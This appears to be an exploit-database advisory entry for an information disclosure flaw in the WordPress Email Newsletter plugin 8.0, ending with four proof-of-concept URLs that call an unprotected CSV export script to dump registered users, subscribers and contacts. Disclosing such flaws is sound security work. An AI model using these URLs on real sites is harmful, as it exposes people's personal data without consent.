Email Newsletter Plugin for WordPress Information Disclosure Vulnerability

vendor:

Email Newsletter Plugin

by:

SecurityFocus

7,5

CVSS

HIGH

Information Disclosure

200

CWE

Product Name: Email Newsletter Plugin

Affected Version From: 8.0

Affected Version To: 8.0

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

Email Newsletter Plugin for WordPress Information Disclosure Vulnerability

The Email Newsletter plugin for WordPress is prone to an information-disclosure vulnerability because it fails to sufficiently validate user-supplied data. An attackers can exploit this issue to obtain sensitive information that may aid in further attacks.

Mitigation:

Ensure that user-supplied data is properly validated before being used.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/53850/info

The Email Newsletter plugin for WordPress is prone to an information-disclosure vulnerability because it fails to sufficiently validate user-supplied data.

An attackers can exploit this issue to obtain sensitive information that may aid in further attacks.

Email Newsletter 8.0 is vulnerable; other versions may also be affected.

http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=registered_user

http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=view_suscriber

http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=commentposed _user

http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=contact_user